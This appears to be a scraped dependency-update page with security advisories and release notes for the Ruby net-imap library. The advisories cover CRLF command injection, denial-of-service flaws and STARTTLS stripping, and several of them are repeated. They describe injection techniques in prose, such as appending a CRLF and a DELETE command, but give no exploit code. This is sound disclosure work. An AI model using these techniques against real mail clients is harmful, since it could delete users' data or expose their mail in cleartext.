This is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.

The documentation for #enable explicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for #enable will always be inappropriate.

Although client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.

Untrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

Mitigation

Update to a version of net-imap which validates #id and #enable arguments.

Untrusted inputs should never be used for #enable arguments.

If net-imap cannot be upgraded:

  • do not use untrusted inputs for client ID field values
  • or add validation that client ID field values must not contain any CR or LF bytes.

🚨 Net::IMAP: Command Injection via non-synchronizing literal in "raw" argument

Several Net::IMAP commands accept a "raw data" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals.

Details

Raw data arguments support embedded literal values, both synchronizing and non-synchronizing. Non-synchronizing literals can only be safely sent when the server advertises any of the LITERAL+, LITERAL-, or IMAP4rev2 capabilities. But raw data arguments do not verify server support for non-synchronizing literals prior to sending.

Servers without support for non-synchronizing literals could handle them in several different ways: If a server sees a "}\r\n" byte sequence but can't parse the literal bytesize, it may cautiously decide to close the connection, blocking any command injection attacks. However, a server without support for non-synchronizing literals may instead interpret the "+}\r\n" as the end of a malformed command line and respond with a tagged BAD. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed.

This affects the following commands' string arguments:

  • criteria for #search and #uid_search
  • search_keys for #sort, #thread, #uid_sort, and #uid_thread
  • attr for #fetch and #uid_fetch

Prior to net-imap v0.6.4, v0.5.14, and v0.4.24, raw data arguments were not validated in any way, so they were also vulnerable to this attack. See CVE-2026-42257 (GHSA-hm49-wcqc-g2xg).

Impact

Fortunately, LITERAL- is supported by most modern IMAP servers. Even without support for non-synchronizing literals, cautious servers may handle invalid literal bytesize by closing the connection . However, servers which handle a non-synchronizing literal just like any other malformed command will enable this vulnerability.

If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

Mitigation

Update to a version of net-imap which validates server support for non-synchronizing literals before sending them.

If upgrading net-imap is not possible:

  • Explicitly validate user-controlled inputs to prevent embedded non-synchronizing literals unless the server supports them.
  • For a simpler, more cautious approach: all embedded literals can be unconditionally prohibited, by checking that string inputs do not contain any CR or LF bytes.
  • Verify that the server advertises any of the LITERAL+, LITERAL-, or IMAP4rev2 capabilities before using untrusted string inputs for the affected "raw data" arguments.

🚨 Net::IMAP: Denial of Service via incomplete raw argument validation

Summary

Several Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed.

Details

Net::IMAP::RawData was hardened in v0.6.4, v0.5.14, and v0.4.24 to reject string arguments that would smuggle an invalid literal-continuation marker onto the wire (CVE-2026-42257, GHSA-hm49-wcqc-g2xg). But the trailing-marker check uses an incorrect regex which does not match {0} or {0+}, so an attacker-controlled seach criteria or fetch attr string ending in {0} or {0+} passes validation and is sent verbatim. Since these arguments are sent as the last argument in the command, they will be followed by CRLF. Although the CRLF was intended to end the command, the server will interpret it as part of a literal prefix. This consumes the next command the client puts on the socket as additional arguments to the current command.

This affects the following command's arguments:

  • criteria for #search and #uid_search
  • search_keys for #sort, #thread, #uid_sort, and #uid_thread
  • attr for #fetch and #uid_fetch

The command which contained the attacker's raw data will not be able to complete until the next command is issued. If commands are only sent from single thread, the first command will hang until the connection times out (most likely by the server closing the connection).

If a second command is sent (from another thread), this would allow the server to respond to the first command. This combined command will be invalid:

  • The {0}\r\n literal prohibits other arguments (such as a quoted string) from spanning both commands
  • It will be sent without the space delimiter which is required between arguments.
  • The second command's tag will not be a valid argument to any of the vulnerable commands.

So the server should respond to the first command with a BAD response, which will raise a BadResponseError.

But, since the server never saw a second command, the second command will never receive a tagged response and the thread that sent it will hang until the connection is closed.

Impact

This will result in unexpected crashes and timeouts, which could be used to create a simple denial of service attack. This attack will present very similarly to common network issues or server issues which also result in commands hanging or unexpectedly raising exceptions. By itself, this does not allow command injection. But the confusion caused by these errors could lead to other downstream issues, especially in a multi-threaded environment.

Mitigation

Update to a patched version of net-imap which validates that RawData arguments may not end with literal continuation markers.
If net-imap cannot be upgraded:

  • Validate that user input to the affected command arguments does not end with "}".
  • Use of Timeout or other standard strategies for slow connections and misbehaving servers will also mitigate the effects of this.

Extra caution is required when issuing commands from multiple threads. While net-imap does have rudimentary support for issuing commands from multiple threads, the user is responsible for synchronizing that commands are issued in a logically coherent order, and for ensuring that commands are only pipelined when it is safe to do so. Practically, this means that many commands cannot be safely pipelined together, and user code will often need to wait for state changing commands to successfully complete before issuing commands that rely on that state change.

🚨 Net::IMAP: Command Injection via ID command argument

Summary

Two Net::IMAP commands, #id and #enable, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.

Please note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.

Details

When Net::IMAP#id is called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.

While Net::IMAP#enable does process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The #to_s value is sent verbatim.

Impact

This is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.

The documentation for #enable explicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for #enable will always be inappropriate.

Although client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.

Untrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

Mitigation

Update to a version of net-imap which validates #id and #enable arguments.

Untrusted inputs should never be used for #enable arguments.

If net-imap cannot be upgraded:

  • do not use untrusted inputs for client ID field values
  • or add validation that client ID field values must not contain any CR or LF bytes.

🚨 net-imap has quadratic complexity when reading response literals

Summary

Net::IMAP::ResponseReader has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack.

Details

For each literal in a response, ResponseReader rescans the entire growing response buffer. The regular expression that is used to scan the response buffer runs in linear time. With many literals, this becomes O(n²) total work. The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant.

Because the algorithmic complexity is super-linear, this bypasses protection from max_response_size: a response can stay well below the default size limit while still causing very large CPU cost.

Net::IMAP::ResponseReader runs continuously in the receiver thread until the connection closes.

Impact

This consumes disproportionate CPU time in the client's receiver thread. A hostile server could use this to exhaust the client's CPU for a denial of service attack.

For a response near the default max_response_size, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response. While the regexp is scanning, it retains the Global VM lock, preventing other threads from running.

Although other threads should not be completely blocked, their run time will be significantly impacted.

Mitigation

  • Upgrade to a patched version of net-imap that reads responses more efficiently.
  • Do not connect to untrusted IMAP servers.
  • When connecting to untrusted servers, a much smaller max_response_size (for example: 8KiB) will limit the impact. Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.

🚨 net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication

Summary

When authenticating a connection with SCRAM-SHA1 or SCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.

Details

A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive OpenSSL::KDF.pbkdf2_hmac call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.

OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.

This is listed as one of the "Security Considerations", in RFC 7804:

A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).

Impact

During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.

OpenSSL::KDF.pbkdf2_hmac is a blocking C function, so Timeout cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.

Mitigation

  • Upgrade to a patched version of net-imap that adds the max_iterations option to the SASL-* authenticators, and call Net::IMAP#authenticate with a max_iterations keyword argument.

    NOTE: The default max_iterations is 2³¹ - 1, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.
    To prevent a denial of service attack, this must be set to a safe value, depending on hardware and version of OpenSSL.
    It is the user's responsibility to enforce minimum and maximum iteration counts that are appropriate for their security context.

  • Alternatively, avoid SCRAM-* mechanisms when authenticating to untrusted servers.

🚨 net-imap vulnerable to STARTTLS stripping via invalid response timing

Summary

A man-in-the-middle attacker can cause Net::IMAP#starttls to return "successfully", without starting TLS.

Details

When using Net::IMAP#starttls to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged OK response with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes "successfully" before the response handler is registered. This allows #starttls to return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.

This allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks Net::IMAP#tls_verified?.

Impact

TLS bypass, leading to cleartext transmission of sensitive information.

Mitigation

  • Upgrade to a patched version of net-imap that raises an exception whenever #starttls does not establish TLS.
  • Connect to an implicit TLS port, rather than use STARTTLS with a cleartext port.
    This is strongly recommended anyway:
    • RFC 8314: Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access
    • NO STARTTLS: Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context
  • Explicitly verify Net::IMAP#tls_verified? is true, before using the connection after #starttls.

🚨 net-imap vulnerable to command Injection via "raw" arguments to multiple commands

Summary

Several Net::IMAP commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain CRLF sequences, which an attacker can use to inject arbitrary IMAP commands.

Details

Net::IMAP's generic argument handling, used by most command arguments, interprets string arguments as an IMAP astring. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either a atom, quoted, or literal. These are safe from command or argument injection.

But the following commands transform specific String arguments to Net::IMAP::RawData, which bypasses normal argument validation and encoding and prints the string directly to the socket:

  • #uid_search, #search, #uid_sort, #sort, #uid_thread, #thread
    • when criteria is a String, it is sent raw
  • #uid_fetch, `#fetch
    • when attr is a String, it is sent raw
    • when attr is an Array, each String in attr is sent raw
  • #uid_store, #store
    • when attr is a String, it is sent raw
  • #setquota:
    • limit is interpolated with #to_s and that string is sent raw

Because these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.

Using "raw data" arguments for #uid_store, #store, and #setquota I both inappropriate and unnecessary. Net::IMAP's generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.

The API for search criteria and fetch attributes is intentionally low-level and "close to the wire". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.

Although this was explicitly documented for search criteria, it was insufficiently documented for fetch attr. So developers may not have realized that the attr argument to #fetch and #uid_fetch is sent as "raw data".

Impact

If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.

The SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.

Expected use of Net::IMAP#setquota is much more limited: SETQUOTA is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol SETQUOTA command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling #setquota with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.

Mitigation

  • Update to a patched version of net-imap which:
    • validates that Net::IMAP::RawData is composed of well-formed IMAP text, literal, and literal8 values, with no unescaped NULL, CR, or LF bytes.
    • does not use Net::IMAP::RawData for #store, #uid_store, or #setquota.
  • Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.
  • If an immediate upgrade is not possible:
    • String inputs to search criteria and fetch attributes can be validated against command injection by checking for \r and \n characters.
    • Hard-coding the store attr argument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application.
    • Use Kernel#Integer to coerce and validate user controlled inputs to #setquota limit.

🚨 net-imap vulnerable to command Injection via unvalidated Symbol inputs

Summary

Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.

Details

Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a "\" prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.

Because the Symbol input is unvalidated, it could contain invalid flag characters, including SP and CRLF, which could be used to finish the current command and inject new commands.

Although IMAP flag arguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (flag) inputs.

Note also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard "system flags" needs to use the IMAP keyword syntax, which are sent as atoms, i.e: string inputs. Under no circumstances should #to_sym ever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason that user_input_atom is as \user_input_atom.

For forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.

Impact

If a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox).

Mitigation

  • Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP flag.

  • User-provided input should never be able to control calling #to_sym on string arguments.

    For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.

  • For the few IMAP commands which do allow flag arguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.

🚨 net-imap has quadratic complexity when reading response literals

Summary

Net::IMAP::ResponseReader has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack.

Details

For each literal in a response, ResponseReader rescans the entire growing response buffer. The regular expression that is used to scan the response buffer runs in linear time. With many literals, this becomes O(n²) total work. The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant.

Because the algorithmic complexity is super-linear, this bypasses protection from max_response_size: a response can stay well below the default size limit while still causing very large CPU cost.

Net::IMAP::ResponseReader runs continuously in the receiver thread until the connection closes.

Impact

This consumes disproportionate CPU time in the client's receiver thread. A hostile server could use this to exhaust the client's CPU for a denial of service attack.

For a response near the default max_response_size, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response. While the regexp is scanning, it retains the Global VM lock, preventing other threads from running.

Although other threads should not be completely blocked, their run time will be significantly impacted.

Mitigation

  • Upgrade to a patched version of net-imap that reads responses more efficiently.
  • Do not connect to untrusted IMAP servers.
  • When connecting to untrusted servers, a much smaller max_response_size (for example: 8KiB) will limit the impact. Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.

🚨 net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication

Summary

When authenticating a connection with SCRAM-SHA1 or SCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.

Details

A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive OpenSSL::KDF.pbkdf2_hmac call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.

OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.

This is listed as one of the "Security Considerations", in RFC 7804:

A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).

Impact

During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.

OpenSSL::KDF.pbkdf2_hmac is a blocking C function, so Timeout cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.

Mitigation

  • Upgrade to a patched version of net-imap that adds the max_iterations option to the SASL-* authenticators, and call Net::IMAP#authenticate with a max_iterations keyword argument.

    NOTE: The default max_iterations is 2³¹ - 1, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.
    To prevent a denial of service attack, this must be set to a safe value, depending on hardware and version of OpenSSL.
    It is the user's responsibility to enforce minimum and maximum iteration counts that are appropriate for their security context.

  • Alternatively, avoid SCRAM-* mechanisms when authenticating to untrusted servers.

🚨 net-imap vulnerable to command Injection via unvalidated Symbol inputs

Summary

Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.

Details

Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a "\" prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.

Because the Symbol input is unvalidated, it could contain invalid flag characters, including SP and CRLF, which could be used to finish the current command and inject new commands.

Although IMAP flag arguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (flag) inputs.

Note also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard "system flags" needs to use the IMAP keyword syntax, which are sent as atoms, i.e: string inputs. Under no circumstances should #to_sym ever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason that user_input_atom is as \user_input_atom.

For forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.

Impact

If a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox).

Mitigation

  • Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP flag.

  • User-provided input should never be able to control calling #to_sym on string arguments.

    For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.

  • For the few IMAP commands which do allow flag arguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.

🚨 net-imap vulnerable to command Injection via "raw" arguments to multiple commands

Summary

Several Net::IMAP commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain CRLF sequences, which an attacker can use to inject arbitrary IMAP commands.

Details

Net::IMAP's generic argument handling, used by most command arguments, interprets string arguments as an IMAP astring. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either a atom, quoted, or literal. These are safe from command or argument injection.

But the following commands transform specific String arguments to Net::IMAP::RawData, which bypasses normal argument validation and encoding and prints the string directly to the socket:

  • #uid_search, #search, #uid_sort, #sort, #uid_thread, #thread
    • when criteria is a String, it is sent raw
  • #uid_fetch, `#fetch
    • when attr is a String, it is sent raw
    • when attr is an Array, each String in attr is sent raw
  • #uid_store, #store
    • when attr is a String, it is sent raw
  • #setquota:
    • limit is interpolated with #to_s and that string is sent raw

Because these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.

Using "raw data" arguments for #uid_store, #store, and #setquota I both inappropriate and unnecessary. Net::IMAP's generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.

The API for search criteria and fetch attributes is intentionally low-level and "close to the wire". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.

Although this was explicitly documented for search criteria, it was insufficiently documented for fetch attr. So developers may not have realized that the attr argument to #fetch and #uid_fetch is sent as "raw data".

Impact

If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.

The SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.

Expected use of Net::IMAP#setquota is much more limited: SETQUOTA is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol SETQUOTA command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling #setquota with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.

Mitigation

  • Update to a patched version of net-imap which:
    • validates that Net::IMAP::RawData is composed of well-formed IMAP text, literal, and literal8 values, with no unescaped NULL, CR, or LF bytes.
    • does not use Net::IMAP::RawData for #store, #uid_store, or #setquota.
  • Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.
  • If an immediate upgrade is not possible:
    • String inputs to search criteria and fetch attributes can be validated against command injection by checking for \r and \n characters.
    • Hard-coding the store attr argument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application.
    • Use Kernel#Integer to coerce and validate user controlled inputs to #setquota limit.

🚨 net-imap vulnerable to STARTTLS stripping via invalid response timing

Summary

A man-in-the-middle attacker can cause Net::IMAP#starttls to return "successfully", without starting TLS.

Details

When using Net::IMAP#starttls to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged OK response with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes "successfully" before the response handler is registered. This allows #starttls to return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.

This allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks Net::IMAP#tls_verified?.

Impact

TLS bypass, leading to cleartext transmission of sensitive information.

Mitigation

  • Upgrade to a patched version of net-imap that raises an exception whenever #starttls does not establish TLS.
  • Connect to an implicit TLS port, rather than use STARTTLS with a cleartext port.
    This is strongly recommended anyway:
    • RFC 8314: Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access
    • NO STARTTLS: Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context
  • Explicitly verify Net::IMAP#tls_verified? is true, before using the connection after #starttls.
Release Notes

0.6.6

What's Changed

Fixed

  • 🐛 Fix incorrect regexp for testing if string is quotable by @nevans in #723
    This bug was introduced by v0.6.5 as part of #712.
    It causes some valid string arguments (which should be sent as IMAP literal values) to raise a DataFormatError exception (without sending).

Full Changelog: v0.6.5...v0.6.6

0.6.5

What's Changed

Added

  • 🧵 Add thread join timeout to #disconnect by @nevans in #689
  • ✨ Add #utf8_enabled? by @nevans in #715
  • ✨ Remember set of enabled server capabilities by @nevans in #716
    Adds #enabled and #enabled? methods.

Fixed

  • 🥅 Fix premature tagged response guard for IDLE by @nevans in #688
  • 🥅 Test for NULL bytes before sending string args by @nevans in #712
  • 🐛 Use literal syntax for invalid UTF8 or non-UTF8 strings by @nevans in #713

Other Changes

  • 🧵🥅 Reraise receiver thread errors with caller's backtrace by @nevans in #691
  • 🧵🥅 Reraise #starttls receiver thread errors with caller's backtrace by @nevans in #711
  • ♻️ Extract InvalidTaggedResponseError error by @nevans in #687
  • 🧵 Refactor thread synchronization for sending commands by @nevans in #692
  • 🧵Refactor receive responses thread sync by @nevans in #694
  • ♻️ Extract handle_response from receive_responses by @nevans in #695

Miscellaneous

  • 🔀 Merge v0.6.4.1 patches by @nevans in #702
  • Fix flaky test_starttls_stripping_ok_sent_before_response by @hsbt in #709
  • ⬆️ Bump actions/checkout from 6 to 7 by @dependabot[bot] in #708
  • ✅⚡ Faster tests by @nevans in #714
  • Pin simplecov version by @nobu in #717
  • simplecov-{html,json} have been incorporated in SimpleCov 1.0.0 by @nobu in #718
  • ⬆️ Bump step-security/harden-runner from 2.19.4 to 2.20.0 by @dependabot[bot] in #719
  • ✅ Fix issues with simplecov v1.0 upgrade by @nevans in #721

Full Changelog: v0.6.4.1...v0.6.5

0.6.4.1

What's Changed

🔒 Security

This release fixes several more security vulnerabilities which are related to the fixes in v0.6.4. Please see the linked security advisories for more information.

  • (moderate) Command Injection via non-synchronizing literal in "raw" argument (CVE-2026-47240, GHSA-8p34-64r3-mwg8)
    This vulnerability depends how the server interprets non-synchronizing literals.
    The connection is not vulnerable if the server supports non-synchronizing literals.
    • 🥅 Validate non-synchronizing literals support by @nevans in #701
  • (moderate) Command Injection via unvalidated ID and ENABLE arguments (CVE-2026-47242, GHSA-46q3-7gv7-qmgg)
    • 🥅 Validate ID values contain only valid bytes by @nevans in #698
    • 🥅 Validate #enable arguments are all atoms by @nevans in #699
      NOTE: #enable should never be called with untrusted input.
  • (low) Denial of Service via incomplete "raw" argument validation (CVE-2026-47241, GHSA-c4fp-cxrr-mj66)
    This results in the affected command hanging until the connection is closed. If another thread attempts to send a concurrent pipelined command, the first thread will return with a syntax error and the second thread will hang until the connection closes.
    • Reported by @fg0x0
    • 🐛 Prevent trailing {0} in RawData validation by @nevans in #700

Added

  • 🔍 Add more detail to Net::IMAP#inspect TLS info by @nevans in #674

Fixed

  • 🔧 Disallow config.max_non_synchronizing_literal = nil by @nevans in #672
  • 🧵 Fix deadlock in #disconnect by @nevans in #686
  • 🥅 Validate that Atom and Flag are not empty by @nevans in #684

Documentation

  • ⚠️ Boost visibility of raw data argument documentation warnings by @nevans in #677

Other Changes

  • 🏷️ Allow 64-bit Integer arguments by @nevans in #675
  • 🥅 Ensure send_number_data input is an Integer by @nevans in #676
  • ♻️ Improve RawData.new, Add RawData.split by @nevans in #679
  • 🏷️ Less strict number string coercion, to match RFCs by @nevans in #680
  • 🥅 Validate response literal byte size format by @nevans in #681

Miscellaneous

  • ⬆️ Bump step-security/harden-runner from 2.19.0 to 2.19.1 by @dependabot[bot] in #673
  • ✅ Improvements to tests' FakeServer by @nevans in #678
  • ⬆️ Bump step-security/harden-runner from 2.19.1 to 2.19.3 by @dependabot[bot] in #682
  • ⬆️ Bump step-security/harden-runner from 2.19.3 to 2.19.4 by @dependabot[bot] in #683

Full Changelog: v0.6.4...v0.6.4.1

0.6.4

What's Changed

🔒 Security

This release contains fixes for multiple vulnerabilities concerning STARTTLS stripping, argument validation, and denial of service attacks.

Warning

#664 fixes a STARTTLS stripping vulnerability (GHSA-vcgp-9326-pqcp).
Without this fix, a man-in-the-middle attacker can cause Net::IMAP#starttls to return "successfully", without starting TLS.

Important

Argument validation is significantly improved. Several injection vulnerabilities have been fixed:
#657 fixes CRLF/command/argument injection via Symbol arguments (GHSA-75xq-5h9v-w6px).
#658 fixes CRLF/command/argument injection via the attr argument to #store/#uid_store (GHSA-hm49-wcqc-g2xg)
#659 fixes CRLF/command/argument injection via the storage_limit argument to #setquota (GHSA-hm49-wcqc-g2xg).
#660 fixes CRLF/command injection via RawData (GHSA-hm49-wcqc-g2xg):

  • #search and #uid_search send criteria as raw data, when it is a String
  • #fetch and #uid_fetch send attr as raw data, when it is a String.
    When attr is an Array, its String members are sent as raw data.

Caution

RawData does not defend against other forms of argument injection! It is an intentionally low-level API.

Note

Two denial of service vulnerabilities have been addressed.
These are generally only relevant when connecting to an untrusted hostile server (or without TLS).

#642 fixes quadratic time complexity when reading large responses containing many string literals (GHSA-q2mw-fvj9-vvcw).
#654 adds a configurable max_iterations count for SCRAM-* authentication (GHSA-87pf-fpwv-p7m7).

The default ScramAuthenticator#max_iterations is 2**31 - 1 (max 32-bit signed int), which was already OpenSSL's maximum value. It provides no protection against hostile servers unless it is explicitly set to a lower value by the user.

Breaking Changes

  • ResponseReader memoizes Config#max_response_size in #642.
    Changes to #max_response_size now take effect once per response, not on every IO#read.
    NOTE: It is not expected that this will affect any current usage. See the PR for details.

Added

  • ✨ Support BINARY extention to #append (RFC3516) by @nevans in #616
  • ✨ Support LITERAL+ and LITERAL- non-synchronizing literals (RFC7888) by @nevans in #649
  • 🔒 Add ScramAuthenticator#max_iterations by @nevans in #654
  • 🏷️ Add number64 and nz-number64 to NumValidator by @nevans in #625
  • ♻️ Add MailboxQuota#quota_root alias by @nevans in #636
  • 🔍 Simplify Net::IMAP#inspect with basic state by @nevans in #612
